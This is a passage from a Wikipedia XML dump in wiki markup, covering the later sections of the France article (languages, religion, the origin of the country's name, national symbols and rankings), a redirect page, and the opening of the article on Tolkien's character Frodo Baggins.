According to the [[United Nations High Commissioner for Refugees|UNHCR]], the number of people seeking [[refugee|political asylum]] in France rose by around 3 % between 2003 and 2004, while in the same period, the number of asylum applications submitted in the [[United States]] fell by about 29 %. France thereby replaced the United States as the world's top destination for asylum-seekers in 2004.

A perennial political issue concerns [[rural depopulation]]. Over the period 1960-1999 fifteen rural ''départements'' experienced a decline in population. In the most extreme case, the population of [[Creuse]] fell by 24%.

===Languages===
The sole official language of France is [[French language|French]]. However, several [[Languages of France|regional languages]] (including [[Alsatian language|Alsatian]], [[Basque language|Basque]], [[Breton language|Breton]], [[Catalan language|Catalan]], [[Corsican language|Corsican]], [[Flemish (linguistics)|Flemish]], [[Franco-Provençal]] dialects, [[Gascon]], [[West Central German|Lorraine German]] dialect, [[Norman language|Norman]], [[Occitan language|Occitan]], and some [[Oïl languages|Oïl]] dialects - e.g., [[Picard language|Picard]]) are also occasionally understood and spoken, mostly by elderly people. Also several [[creole languages]] are spoken in overseas departments. However, the French government and state school system discouraged the use of any of those languages until recently. These historical regional languages have been known as ''[[patois]]'', though this has been considered depreciative. They are now taught at some schools, though French remains the only official language in use by the government, local or national. Some languages spoken by immigrants are also frequently spoken, especially in large cities: [[Portuguese language|Portuguese]], [[Maghreb Arabic]], several [[Berber languages]], several languages of [[Sub-Saharan Africa]], [[Turkish language|Turkish]], several [[Chinese spoken language|spoken variants of Chinese]] (most notably [[Wu (linguistics)|Wu]], [[Cantonese (linguistics)|Cantonese]], [[Min Nan]], and [[Mandarin (linguistics)|Mandarin]]), [[Vietnamese language|Vietnamese]], and [[Khmer language|Khmer]] are the most frequently spoken.

====Statistics====
At the 1999 census, [[INSEE]] sampled 380,000 adult people all across [[Metropolitan France]], and asked them questions about their family situation. One of the questions was about the languages that their parents spoke with them before the age of 5. This is the first time serious statistics were computed about the proportion of mother tongues in France. The results were published in ''Enquête familiale, Insee, 1999''.

Here is a list of the nine most prominent mother tongues in France based on ''Enquête familiale''. It is important to read the [[Languages of France#Important notes to understand the table|notes at the Languages of France article]] in order to correctly interpret the numbers. 

{| class=&quot;wikitable&quot;
|-
! || Language||Thousands of adults||| Percentage of adult population
|- style=&quot;text-align:center;&quot;
| 1
| [[French language|French]]
| 39,360
| 86%&lt;br&gt;&lt;small&gt;(the real figure for the whole population is closer to 90%, see notes)
|- style=&quot;text-align:center;&quot;
| 2
| [[German language|German]] and [[High German|German dialects]]&lt;br&gt;&lt;small&gt;([[Alsatian language|Alsatian]], [[West Central German|Lorraine German]], etc.)&lt;/small&gt;
| 970&lt;br&gt;&lt;small&gt;(of whom Alsatian: 660;&lt;br&gt;standard German: 210;&lt;br&gt;Lorraine German: 100)
| 2.12%&lt;br&gt;&lt;small&gt;(of whom Alsatian: 1.44%;&lt;br&gt;standard German: 0.46%;&lt;br&gt;Lorraine German: 0.22%)
|- style=&quot;text-align:center;&quot;
| 3
| [[Arabic language|Arabic]]&lt;br&gt;&lt;small&gt;(essentially [[Maghreb Arabic]])&lt;/small&gt;
| 940
| 2.05%
|- style=&quot;text-align:center;&quot;
| 4
| [[Occitan|Oc languages]]&lt;br&gt;&lt;small&gt;([[Languedocien language|Languedocian]], [[Gascon]], [[Provençal]], etc.)&lt;/small&gt;
| 610&lt;br&gt;&lt;small&gt;(another 1,060 had some exposure)
| 1.33%&lt;br&gt;&lt;small&gt;(another 2.32% had some exposure, see notes)
|- style=&quot;text-align:center;&quot;
| 5
| [[Portuguese language|Portuguese]]
| 580
| 1.27%
|- style=&quot;text-align:center;&quot;
| 6
| [[Oïl languages]]&lt;br&gt;&lt;small&gt;([[Picard language|Picard]], [[Gallo language|Gallo]], [[Poitevin-Saintongeais]], etc.)&lt;/small&gt;
| 570&lt;br&gt;&lt;small&gt;(another 850 had some exposure)
| 1.25%&lt;br&gt;&lt;small&gt;(another 1.86% had some exposure, see notes)
|- style=&quot;text-align:center;&quot;
| 7
| [[Italian language|Italian]] (and dialects)
| 540
| 1.19%
|- style=&quot;text-align:center;&quot;
| 8
| [[Spanish language|Spanish]]
| 485
| 1.06%
|- style=&quot;text-align:center;&quot;
| 9
| [[Breton language|Breton]]
| 280&lt;br&gt;&lt;small&gt;(another 405 had some exposure)
| 0.61%&lt;br&gt;&lt;small&gt;(another 0.87% had some exposure, see notes)
|- style=&quot;text-align:center;&quot;
| 10
| About 400 other languages &lt;small&gt;([[Polish language|Polish]], [[Berber languages]], [[East Asian language|East Asian languages]], [[Catalan language|Catalan]], [[Franco-Provençal]], [[Corsican language|Corsican]], [[Basque language|Basque]], etc.) as well as no answers&lt;/small&gt;
| 2,350&lt;br&gt;&lt;small&gt;(of whom English: 115)
| 5.12%&lt;br&gt;&lt;small&gt;(of whom English: 0.25% of total adult population)
|- style=&quot;text-align:center;&quot;
| 
| '''Total'''
| 45,762&lt;br&gt;&lt;small&gt;(46,680 including those with two mother tongues who were counted twice)
| 102%&lt;br&gt;&lt;small&gt;(2% have both French and another language as their mother tongues, and thus are counted twice)
|}

If we add up people with mother tongue and people with some exposure to the language before the age of 5, then the five most important languages in metropolitan France are (note that the percentages add up to more than 100, because many people are now counted twice):
* French: 42,100,000 (92%)
* Oc languages: 1,670,000 (3.65%)
* German and German dialects: 1,440,000 (3.15%)
* Oïl languages: 1,420,000 (3.10%)
* Arabic: 1,170,000 (2.55%)

===Cities===
[[Image:France cities.png|thumb|right|300px|[[Metropolitan France]]'s urban areas of more than 100,000 inhabitants]]
The principal cities by population include:

:[[Aix-en-Provence]], [[Ajaccio]], [[Albi]], [[Amiens]], [[Angers]], [[Angouleme]], [[Bastia]], [[Belfort]], [[Besançon]], [[Bordeaux]], [[Brest, France|Brest]], [[Caen]], [[Calais]], [[Cannes]], [[Carcassonne]], [[Charleville-Mézières]], [[Clermont-Ferrand]], [[Colmar]], [[Dijon]], [[Dunkerque]], [[Evreux]], [[Grenoble]], [[La Rochelle]], [[Le Havre]], [[Le Mans]], [[Lille]], [[Limoges]], [[Lyon]], [[Marseille]], [[Metz]], [[Montpellier]], [[Mulhouse]], [[Nancy]], [[Nantes]], [[Nice]], [[Nîmes]], [[Orléans]], [[Paris]], [[Perpignan]], [[Poitiers]], [[Quimper]], [[Reims]], [[Rennes]], [[Roubaix]],  [[Rouen]], [[Saint-Étienne]], [[Saint-Nazaire]], [[Strasbourg]], [[Tarbes]], [[Toulon]], [[Toulouse]], [[Tourcoing]], [[Tours]] and [[Valence, Drôme|Valence]].

{{seealso|Languages of France|French metropolitan areas|List of towns in France}}

== Culture ==
{{main|Culture of France}}
*[[Education in France]]
*[[Académie française]]
*[[French literature]]
*[[French art]]
*[[List of French people]]
*[[Cuisine of France]]
*[[Cinema of France]]
*[[Music of France]]
*[[Holidays in France]]
*[[Social structure of France]]

===Marianne===
[[Image:Timbpt2.jpg|right|thumbnail|100px|French postage stamp depicting Marianne]]
{{main|Marianne}}
[[Marianne]] is a symbol of the French Republic. She is an allegorical figure of liberty and the Republic and first appeared at the time of the [[French Revolution]]. The earliest representations of Marianne are of a woman wearing a Phrygian cap. The origins of the name Marianne are unknown, but Marie-Anne was a very common first name in the 18th century. Anti-revolutionaries of the time derisively called her La Gueuse (the Commoner). 

It is believed that revolutionaries from the South of France adopted the Phrygian cap as it symbolised liberty, having been worn by freed slaves in both Greece and Rome. Mediterranean seamen and convicts manning the galleys also wore a similar type of cap.

Under the Third Republic, statues, and especially busts, of Marianne began to proliferate, particularly in town halls. She was represented in several different manners, depending on whether the aim was to emphasize her revolutionary nature or her &quot;wisdom.&quot; Over time, the Phrygian cap was felt to be too seditious, and was replaced by a diadem or a crown. In recent times, famous French actresses are given the title of Marianne. Recent ones are [[Sophie Marceau]], and [[Laetitia Casta]]. She also features on everyday articles such as postage stamps and coins.

===Religion===
[[Image:BayonneCatedral.JPG|thumb|[[Bayonne]] Cathedral]]

: ''Main article: [[Religion in France#Religion|Religion in France]].''

Traditionally a predominantly [[Roman Catholic]] country, yet also with [[anticlerical]] leanings, France has since the 1970s been a very secular country. Freedom of religion is constitutionally a right, inspired by the [[Declaration of the Rights of Man and of the Citizen]]. The dominant concept of the relationships between the public sphere and religions is that of ''[[laïcité]]'', which implies that the government and government institutions (such as [[French law on secularity and conspicuous religious symbols in schools|schools]]) should not endorse any particular religion or intervene in religious dogma, and that religions should refrain from intervening in policy-making. Tensions occasionally erupt about alleged or real discrimination against minorities; see [[Islam in France]].

The government does not maintain statistics as to the religion of its inhabitants. Statistics from an unspecified source and date given in the [[CIA World Factbook]] gives the following number: Roman Catholic 83 to 88%, [[Islam|Muslim]] 5 to 10%, [[Protestantism|Protestant]] 2%, [[Judaism|Jewish]] 1%. However, in a [http://a1692.g.akamai.net/f/1692/2042/1h/medias.lemonde.fr/medias/pdf_obj/sondage030416.pdf 2003 poll] 41% said that the existence of [[God]] was &quot;excluded&quot; or &quot;unlikely&quot;. 33% declared that &quot;atheist&quot; described them rather or very well, and 51% said they were &quot;Christian&quot;. When questioned about their religion, 62% answered Roman Catholic, 6% Muslim, 2% Protestant, 1% Jewish, 2% &quot;other religions&quot; (except for [[Eastern Orthodoxy|Orthodox]] or [[Buddhism|Buddhist]], which were negligible), 26% &quot;no religion&quot; and 1% declined to answer. A [[Gallup]] poll established that 15% of the French population attend places of worship.

==Terminology==
===Origin of the country's name===
The name France comes from [[Medieval Latin]] ''Francia'', which literally means &quot;land of the [[Franks]], Frankland&quot;. Originally it applied to the whole Frankish Empire, extending from southern France to eastern Germany. At the [[Treaty of Verdun]] in 843, the Frankish Empire was divided in three parts, and eventually only two: ''Francia Occidentalis'' (i.e. &quot;Western Frankland&quot;) and ''Francia Orientalis'' (i.e. &quot;Eastern Frankland&quot;). The rulers of ''Francia Orientalis'', who soon claimed the imperial title and wanted to reunify the Frankish Empire, dropped the name ''Francia Orientalis'' and called their realm the [[Holy Roman Empire]] (see [[History of Germany]]). The kings of ''Francia Occidentalis'' successfully opposed this claim, and managed to preserve ''Francia Occidentalis'' as an independent kingdom, distinct from the Holy Roman Empire. The [[Battle of Bouvines]] in 1214 definitely marked the end of the efforts by the Holy Roman Empire to reunify the old Frankish Empire by conquering France.

Since the name ''Francia Orientalis'' had disappeared, there arose the habit to refer to ''Francia Occidentalis'' as ''Francia'' only, from which the word France is derived. The French state has been in continuous existence since 843 (except for a brief interruption in 885-887), with an unbroken line of heads of states since the first king of ''Francia Occidentalis'' ([[Charles the Bald]]) to the current president of the French Republic ([[Jacques Chirac]]). Noticeably, in [[German language|German]], France is still called ''Frankreich'', which literally means &quot;''[[Reich]]'' (realm) of the Franks&quot;. In order to distinguish from the Frankish Empire of [[Charlemagne]], France is called ''Frankreich'', while the Frankish Empire is called ''Frankenreich''.

The name of the Franks itself is said to come from the [[Proto-Germanic language|Proto-Germanic]] word *''frankon'' which means &quot;javelin, lance&quot;. Another proposed etymology is that Frank means &quot;the free men&quot;, based on the fact that the word ''frank'' meant &quot;free&quot; in the ancient Germanic languages. However, rather than the ethnic name of the Franks coming from the word ''frank'' (&quot;free&quot;), it is more probable that the word ''frank'' (&quot;free&quot;) comes from the ethnic name of the Franks, the connection being that only the Franks, as the conquering class, had the status of freemen.

Contrary to what many people believe, the name of the former French currency, the [[franc]], does not come from the name of the country. Instead, the name of the currency comes from [[Old French]] ''franc'', a word which meant &quot;free&quot;, directly borrowed from the Germanic word ''frank'' (&quot;free&quot;). In modern French, ''franc'' means &quot;frank, sincere&quot;. The meaning &quot;free&quot; was lost, except in a few set phrases, such as ''port franc'' (i.e. &quot;[[free port]]&quot;) or ''franc-maçon'' (i.e. &quot;[[freemason]]&quot;). During the [[Hundred Years' War]], King [[John II of France]] was captured by the English at the [[Battle of Poitiers (1356)|Battle of Poitiers]] (1356). The English asked for a ransom to liberate the king, which amounted to twice the yearly income of France. In order to raise the money to pay the ransom, a new coinage had to be minted. These new coins were called ''francs'', because they were minted to &quot;free&quot; the king.

Before the arrival of the Franks, France was called [[Gaul]] ([[Latin]]: ''Gallia''; [[French language|French]]: ''Gaule''). This name continued to be used for a very long time after the Franks arrived in what is now France. In fact, for as long as the cultural elites of Europe used Latin predominantly (until the 18th century), the name ''Gallia'' continued to be used alongside the name France. Today, in modern [[French language|French]], the word ''Gaule'' has completely disappeared, and is only used in a historical context. The only current use of the word is in the title of the leader of the French bishops, the [[archbishop]] of [[Lyon]], whose official title is [[Primate (religion)|Primate]] of the Gauls (''Primat des Gaules''). Gaul is in the plural in the title, reflecting the three Gallic entities identified by the Romans (''[[Gaul|Celtica]]'', ''[[Gallia Belgica|Belgica]]'', and ''[[Gascony#History|Aquitania]]''). The adjective ''gaulois'' (Gallic) is still sometimes used when a Frenchman wants to stress some idiosyncrasies of the French people entrenched in history, such as ''notre vieux fond gaulois querelleur'' (&quot;the love of quarrels of our old Gallic stock&quot;), a phrase used when denouncing French propensity for strikes or controversies. During the [[French Third Republic]], the authorities often referred to ''notre vieille Nation gauloise'' (&quot;our old Gallic Nation&quot;), a case in which the adjective ''gaulois'' is used with a positive connotation. The adjective ''gaulois'' is also used to describe a kind of humour located below the belt. In English the word Gaul is never used in a modern context. The adjective Gallic is sometimes used to refer to French people, especially in a derisive and critical way, such as &quot;Gallic pride&quot; or &quot;Gallic hygiene&quot;.

Note that the family name of [[Charles de Gaulle]] (with two &quot;l&quot;) has nothing to do with the name Gaul (French: ''Gaule'', with one &quot;l&quot;). It seems that &quot;Gaulle&quot; comes from an old Germanic word meaning &quot;wall&quot;, where w- evolved into g- under the influence of French (cf. William and Guillaume). Nonetheless, contemporary Frenchmen could not help noticing the striking similarity between the two names, and it added to the aura surrounding de Gaulle.

In almost all the languages of the world, France is known by the word &quot;France&quot; or any of its derivatives. In a few languages (essentially [[Greek language|Greek]] and [[Breton language|Breton]]), France is known as &quot;Gaul&quot;.

===Meanings of the name France===
[[Image:Charles de Gaulle.jpg|thumb|Charles de Gaulle]]
The name &quot;France&quot; (and its adjective &quot;French&quot;) can have four different meanings which it is important to distinguish in order to avoid ambiguities.

In a first meaning, &quot;France&quot; refers to the whole French Republic.

In a second meaning, it refers to [[metropolitan France]] only. This is the most common meaning.

In a third meaning, &quot;France&quot; refers specifically to the [[provinces of France|province]] of [[Île-de-France (province)|Île-de-France]] (with [[Paris]] at its centre) which historically was the heart of the royal demesne. This meaning is found in some geographic names, such as French Brie (''Brie française'') and French Vexin (''Vexin français''). French Brie, the area where the famous [[Brie cheese]] is produced, is the part of [[Brie]] that was annexed to the royal demesne, as opposed to Champagne Brie (''Brie champenoise'') which was annexed by [[Champagne (province)|Champagne]]. Likewise, French Vexin was the part of [[Vexin]] inside Île-de-France, as opposed to Normandy Vexin (''Vexin normand'') which was inside [[Normandy]].

This meaning is also found in the name of the [[French language]] (''langue française''), whose literal meaning is &quot;language of Île-de-France&quot;. It is not until the 19th and 20th centuries that the language of Île-de-France indeed became the language of the whole country France. In modern French, the French language is called ''le français'', while the old language of Île-de-France is called ''le francien''.

In a fourth meaning, &quot;France&quot; refers only to the ''[[Pays de France]]'', one of the many ''pays'' (Latin: ''pagi'', singular ''pagus'') of Île-de-France. French provinces are traditionally made up of several ''pays'', which are the direct continuation of the ''pagi'' set up by the Roman administration during [[Antiquity]]. The province of Île-de-France is thus made up of several ''pays'': ''Pays de France'', Parisis, Hurepoix, French Vexin, and so on. ''Pays de France'' is the extremely fertile plain located immediately north of Paris which supported one of the most productive agriculture during the [[Middle Ages]] and was responsible for the tremendous wealth of the kingdom of France before the Hundred Years' War, making possible the emergence of [[Gothic architecture|Gothic]] art and architecture which spread all over western Europe. ''Pays de France'' is also called ''Plaine de France'' (i.e. &quot;Plain of France&quot;). Its historic main town is [[Saint-Denis, Seine-Saint-Denis|Saint-Denis]], where the first gothic cathedral in the world was built in the 12th century, and inside which the kings of France are buried. ''Pays de France'' is now almost entirely built up, being but the northern extension of the Paris suburbs.

This fourth meaning is found in many place names, such as the town of [[Roissy-en-France]], on whose territory is located [[Charles de Gaulle International Airport]]. The name of the town literally means &quot;Roissy in the ''Pays de France''&quot;, and not &quot;Roissy in the country France&quot;, as many people wrongly believe. Another example of the use of France in this meaning is the new ''[[Stade de France]]'', which was built near Saint-Denis for the [[Football World Cup 1998|1998 Football World Cup]]. It was decided to call the stadium after the ''Pays de France'', to give it a local touch. In particular, the mayor of Saint-Denis made it very clear that he wanted the new stadium to be a stadium of the northern suburbs of Paris, and not just a national stadium which happens to be located in the northern suburbs. The name reflected this. However, most people, both inside and outside France, are not aware of this, and assume that the stadium was called after the country France.

== Miscellaneous topics ==
[[Image:TourDeFrance 2005 07 09.jpg|thumb|[[Tour de France]]]]
[[Image:Montstmichel.JPG|thumb|[[Mont Saint Michel]], the most visited tourist site in France]]
[[Image:IMG 0133(Eiffel in Evening).jpg|thumb|Symbol of France, the [[Eiffel tower]]]]
*''Description of the flag:'' three vertical bands of blue (hoist side), white, and red (the ratio being 30:33:37) became the flag during the French Revolution and made popular by Marquis de Lafayette; known as the ''[[Flag of France|drapeau tricolore]]'' (Tricolour Flag).

*The foundation of France as a kingdom is dated 496 (baptism of [[Clovis I]]) since this event funds put together three essential features of the country: the definition of a territorial limit (however much smaller than the current one), the definition of a power rule (succession from a king to his first son) and the definition of a social system (3 categories of people: warriors, priest and workers). The [[Treaty of Verdun]] in 843, which divided the [[Frankish Empire]] and created the kingdom of Francia Occidentalis (&amp;#8220;Western Frankland&amp;#8221;), from which France is descended, represents only the legal founding of the state. The French state has been in continuous existence since 843, among the oldest states in existence in the world.

*Although commonly associated with the [[French Revolution]] and suggested by [[Robespierre]] in [[December]], [[1790]], France's motto, &quot;[[Liberté, Égalité, Fraternité]]&quot; was not adopted until [[the Revolutions of 1848 in France]].{{ref|motto}}

*The national holiday of France since 1880 is the ''Fête Nationale'' (National Holiday), colloquially known as ''le 14 juillet'', celebrating the ''Fête de la Fédération'' ([[July 14]], [[1790]]) and ''not'' the storming of the [[Bastille]] ([[July 14]], [[1789]]) as is often mistakenly believed, even by a majority of French people, and is the reason why the holiday is referred to as [[Bastille Day]] in [[English language|English]]. On the occasion of the ''Fête de la Fédération'', celebrated exactly one year after the storming of the Bastille, all the representatives of the provinces of France gathered on the [[Champ de Mars]] in [[Paris]] in presence of the king [[Louis XVI of France|Louis XVI]] and proclaimed the national unity of France. They vowed to remain faithful to &quot;the Nation, the Law, the King&quot;.

:This day is considered by French Republicans as the real birth of France: France is no more a country made up of provinces conquered by kings, but a country of provinces and men who freely agree to form a common Nation. This concept of a Nation agreed upon is opposed to the German concept of a Nation based on ethnicity and race, and it was responsible for much of the conflicts between France and Germany in the end of the 19th century and beginning of the 20th century. Germany considered that Alsace was a German land that had been annexed by the conquest of the French kings, while France considered that although Alsace had indeed been a conquered province in the first place, it had legitimately and freely become a part of France by the oath of [[July 14]], [[1790]]. It is thus no surprise that the 14th of July was proclaimed the National Holiday of France in 1880, 9 years after Germany had detached [[Alsace-Lorraine]] from France.

:Despite being associated with the ''Fête de la Fédération'', [[14 July]] irked many French monarchists, to whom it recalled the bloody memory of the storming of the Bastille. French monarchists used to wear a black armband each [[14 July]], in defiance of the National Holiday.

*The [[Mont-Saint-Michel]] is the most visited tourist site in France. Other very popular and well-known tourist sites include: [[Louvre Museum]], [[Eiffel Tower]], [[Palace of Versailles]], [[Disneyland Resort Paris]], [[Centre Pompidou]], the [[Chateau|châteaux]] of the [[Loire Valley]], the ski resorts of the French [[Alps]], [[Tahiti]] and the [[lagoon]]s of [[French Polynesia]], etc.

==International rankings==
*Total [[Gross domestic product|GDP]], 2004: 5th (out of 184) ([[World Bank]] data)
*Total value of [[foreign trade]] ([[imports]] and [[exports]]), 2002: 4th (out of 185)
*[[Reporters Without Borders]] world-wide press freedom index 2005: Rank 30 out of 167 countries
*[http://www.transparency.org/cpi/2005/2005.10.18.cpi.en.html Transparency International Corruption Perceptions Index 2005] - 18th of 159 countries

==Notes and references==
{{sisterlinks|France}}
# {{note|overseasholdings}} For more information, see [[:Category:French overseas departments, territories and collectivities]]
# {{note|economicrank}} [[List of countries by GDP (nominal)|Rank by nominal GDP]]: 5 (2004); [[List of countries by GDP (nominal) per capita|Rank by GDP per capita]]: 16 (2005); [[List of countries by GDP (PPP) per capita|Rank by GDP at purchasing power parity per capita]]: 21 (2005).
# {{note|EEZ}} According to a different calculation cited by the [http://pewresearch.org/ Pew Research Center], the EEZ of France would be [[1 E13 m²|10,084,201]] km² (3,893,532 mi²), still behind the [[United States]] (12,174,629 km² / 4,700,651 mi²), and still ahead of [[Australia]] (8,980,568 km² / 3,467,416 mi²) and [[Russia]] (7,566,673 km² / 2,921,508 mi²).
# {{note|FrenchSenate2007}} {{fr icon}} {{cite web
 | title = Sénat - Statut des Sénateurs
 | url = http://www.senat.fr/role/senate.html
 | accessdate = August 31
 | accessyear = 2005
 }}  ''Page is in French without apparent English version available''
# {{note|motto}} {{fr icon}} {{cite web
 | title = Symboles de la République et 14 juillet
 | url = http://www.diplomatie.gouv.fr/fr/france_829/decouvrir-france_4177/france-a-z_2259/symboles-republique-14-juillet_2615/liberte-egalite-fraternite_5155.html
 | accessdate = January 29
 | accessyear = 2006
 }} ''Page is in French without apparent English version available''

==External links==
{{col-begin}}
{{col-2}}
===Directories===
*[http://www.countryreports.org/country.aspx?countryid=83&amp;countryName=France CountryReports.org- France]
*[http://www.cia.gov/cia/publications/factbook/geos/fr.html CIA- The World Factbook]
*[http://www.mediatico.com/en/newspapers/europe/france French Newspapers]
*[http://www.service-public.fr/etranger/english.html Official site of the French public service] - Contains many links to various administrations and institutions
*[http://www.pagesjaunes.fr/pb.cgi?lang=en White Pages] - Residential phone numbers from [[France Télécom]] (does not include other operators)
*[http://www.pagesjaunes.fr/pj.cgi?lang=en Yellow Pages] - Business phone numbers from France Télécom
*[http://www.dover-to-calais.com Ferry to France]
*[http://www.parks.it/world/FR/Eindex.html Parks in France] - National parks, nature parks, reserves and other protected areas in France
*[http://www.windowtofrance.com/ Portal to France]
*[http://www.chambresdhotesfrance.com/ Chambres D'Hotes guide]
{{col-2}}

===Getting Around France===
*[http://www.sncf.co.uk Book rail travel in France from the UK]
*[http://www.enjoyfrance.com Travel to France] - Travel around France
*[http://www.justfrance.org Travel France] - France travel guide
*[http://www.provence-hideaway.com/index.html Provence-Hideaways] France - Provence
*[http://www.destination360.com/europe/france/france.php France Travel Guide ] - Guide and Photos.

===Maps and travel guides===
*{{wikitravel}}
*[http://www.map-of-france.co.uk Map of France] - Maps of France and its ''régions''
*[http://www.freeworldmaps.net/europe/france/map.html Physical Map of France]
{{col-end}}

{{France ties}}

[[Category:France| ]]

[[af:Frankryk]]
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[[an:Franzia]]
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[[fiu-vro:Prantsusmaa]]</text>
    </revision>
  </page>
  <page>
    <title>FrodoBaggins</title>
    <id>10583</id>
    <revision>
      <id>15908385</id>
      <timestamp>2002-07-23T15:02:36Z</timestamp>
      <contributor>
        <username>Ed Poor</username>
        <id>188</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Frodo Baggins]]</text>
    </revision>
  </page>
  <page>
    <title>Frodo Baggins</title>
    <id>10584</id>
    <revision>
      <id>41932798</id>
      <timestamp>2006-03-02T18:44:30Z</timestamp>
      <contributor>
        <username>ASchmoo</username>
        <id>400981</id>
      </contributor>
      <minor />
      <comment>/* In ''The Lord of the Rings'' */ dab fix</comment>
      <text xml:space="preserve">'''Frodo [[Baggins]]''' is the main [[fictional character|character]] of [[J. R. R. Tolkien|J. R. R. Tolkien's]] monumental and mythological novel, ''[[The Lord of the Rings]]''. He is a [[Hobbit]] (or halfling), born on [[September 22]] of the year 2968 of the [[Third Age]] (T.A.) to Drogo Baggins and [[Primula Brandybuck]]. He spent most of his life in [[The Shire]].  

{{spoiler}}

{|align=right
|-
|{{Infobox LOTR |
image_character = Frodo.jpg |
image_caption = [[Elijah Wood]] portrays '''Frodo Baggins''' in 
[[Peter Jackson]]'s ''[[The Lord of the Rings film trilogy|The Lord of the Rings]]'' trilogy. |
character_name = Frodo Baggins |
character_alias = Ring-bearer, Mr. Underhill |
character_title = Mayor of [[The Shire]]|
character_race = [[Hobbit]] |
character_culture = [[Hobbit]], Shire-hobbit |
character_gender = male |
character_realm = Eriador |
character_sub_realm = ([[The Shire]]),([[Hobbiton]])|
character_lifespan = [[September]] 22, 2968 [[Third Age|T.A.]] -  ?  |
character_weapon = [[Sting (Middle-earth)|Sting]]|
character_actor = Elijah Wood |
}}
|}

== Background ==
In 2980 of the [[Third Age]] (T.A.), Frodo lost both his parents in a boating accident.  Being a young minor of twelve he was taken in by his mother's family, the Brandybucks. In 2989, Frodo came under the guardianship of [[Bilbo Baggins]], whom he thinks of as his ''uncle'' (though Frodo was actually his first ''and'' second [[Cousin chart|cousin once removed]], since his mother is Bilbo's first cousin, and his father is Bilbo's [[second cousin]]). Frodo was twenty-one years old at the time, still far short of his coming of adult age at thirty-three. The childless Bilbo chose Frodo as his adoptive heir, and brought him to live at [[Bag End]].

==In ''The Lord of the Rings''==
Bilbo and Frodo share a common birthday on [[22 September]], but Bilbo is seventy-eight years Frodo's senior. At the opening of ''The Fellowship of the Ring'', Frodo and Bilbo are celebrating their Thirty-Third and Eleventy-First (111th) birthdays, respectively, on [[22 September]], T.A. 3001.

Frodo was entrusted with the keeping of the [[One Ring]] when Bilbo left for [[Rivendell]] after the celebration. [[Gandalf]] warned Frodo that the Ring must never be used and should be kept secret. (At the time, he was not yet certain that it was a [[Ring of Power]].) Frodo kept the Ring hidden for 17 years, until T.A. 3018, when Gandalf returned to confirm that it was indeed the [[One Ring]]. Gandalf sent him away with [[Sam Gamgee]], Frodo's gardener and eventually his dearest friend. Together with his cousins [[Peregrin Took|Peregrin &quot;Pippin&quot; Took]] and [[Meriadoc Brandybuck|Meriadoc &quot;Merry&quot; Brandybuck]], and later the ranger [[Aragorn|Strider]], they made it to the [[Rivendell|House of Elrond]]. There, at [[Elrond]]'s Council, it was decided that the Ring must be destroyed by casting it into the [[Mount Doom|Crack of Doom]]. A [[Fellowship of the Ring (characters)|Fellowship]] was formed to protect Frodo as the [[Ring bearer]]. His quest to destroy the Ring forms the main story of ''The Lord of the Rings''.

Frodo carried a small Elven sword (actually a dagger, the weapon is the comparitive size of a short sword to a hobbit) called [[Sting (sword)|Sting]] and wore a coat of Dwarven [[chainmail]] made of [[mithril]] under his clothes, both given to him by Bilbo. At [[Lothlórien]], [[Galadriel]] gave him an Elven cloak and a phial carrying the light of the star [[Eärendil]] to aid him on his quest.

While waiting for Gandalf at the disused watchtower [[Weathertop]], Frodo was stabbed by the [[Witch-king of Angmar]], the chief of the [[Nazgul]], with a [[Morgul blade]]. Without the assistance of [[Elrond]], the wound would have turned him into a wraith. Even so the wound troubled him for years to come, never healing completely.

Among the Fellowship, Frodo was most affected by Gandalf's apparent death in [[Moria (Middle-earth)|Moria]], having grown up with the old [[wizard]] as a kind of grandfather-figure. He was also the most relieved when Gandalf returned, seemingly from the dead.

The Fellowship separated at [[Amon Hen]] after one of its members, [[Boromir]], was killed by [[Orc]]s while defending Pippin and Merry, an attempt at redemption after he tried to take the Ring for himself. Frodo and Sam headed toward Mount Doom. At about this time, the creature [[Gollum]] began to follow them, seeking to reclaim the Ring he had possessed for centuries. Frodo eventually captured and &quot;tamed&quot; Gollum, using him as their guide to Mordor. The two formed a sort of bond, as they both knew all too well what a heavy, seductive burden the Ring was.

Gollum eventually betrayed them, however, leading them to [[Cirith Ungol]], the lair of [[Shelob]], where he planned to take the Ring after the giant spider had eaten them. Shelob bit Frodo and put him in a [[coma]], but he was saved from death when Sam fought her off. Sam could not save him from a pack of Orcs, however, who carried him off to their dungeon. Thankfully, Sam had pocketed the Ring before the Orcs arrived.

Sam rescued Frodo from the Orcs, and the two set off for Mount Doom. By this time, however, Frodo was considerably weakened by the Ring's influence; when they reached the [[volcano]], Frodo finally gave in to its power and took it for himself. Moments later, however, Gollum attacked him and bit off his finger, taking the Ring. Gollum then lost his balance and fell into the waiting [[lava]], taking the Ring with him and finally destroying it. Frodo and Sam were saved by a flock of [[Eagles of Manwë]] as the volcano erupted and collapsed.    

Upon his return to the Shire, Frodo cleared out the criminal mob, led by his cousin, [[Lotho Sackville-Baggins]], and the fallen wizard [[Saruman]], that had taken over the region during his absence.He refused however, to carry a sword or any weapon. He saw to it that any enemies captured were not killed. He never recovered from the physical and emotional wounds he suffered during the War of the Ring, and was in particular taken ill on the anniversaries of the days of his wounding on Weathertop and his poisoning by Shelob.  He briefly served as Mayor, but had to resign due to his failing health. Two years after the Ring was destroyed, Frodo and Bilbo as Ring-bearers were given the right to travel to [[Tol Eressëa]] where, though remaining mortal, they might rest and be healed, together with Gandalf, Elrond and Galadriel. They boarded a ship from the [[Grey Havens]] and passed over the sea on [[29 September]], T.A. 3021. Having no children of his own, Frodo left his estate and passed on the [[Red Book of Westmarch|Red Book]] to Sam, who, according to Hobbit legend, followed Frodo across the sea sixty-one years later, following the death of his wife Rose (nee) Cotton.

== Name ==
The name ''Frodo Baggins'' is an [[English language|English]] translation of his [[Westron]] name '''Maura Labingi'''. The name ''Maura'' has the element ''maur-'' (wise, experienced), which Tolkien equivalated to the [[Germanic languages|Germanic]] element ''frod-'' of the same meaning. Frodo's name in [[Sindarin]] was '''''Taur''''' (&quot;great&quot;) or '''''Iorhael''''' (&quot;old-wise&quot;).

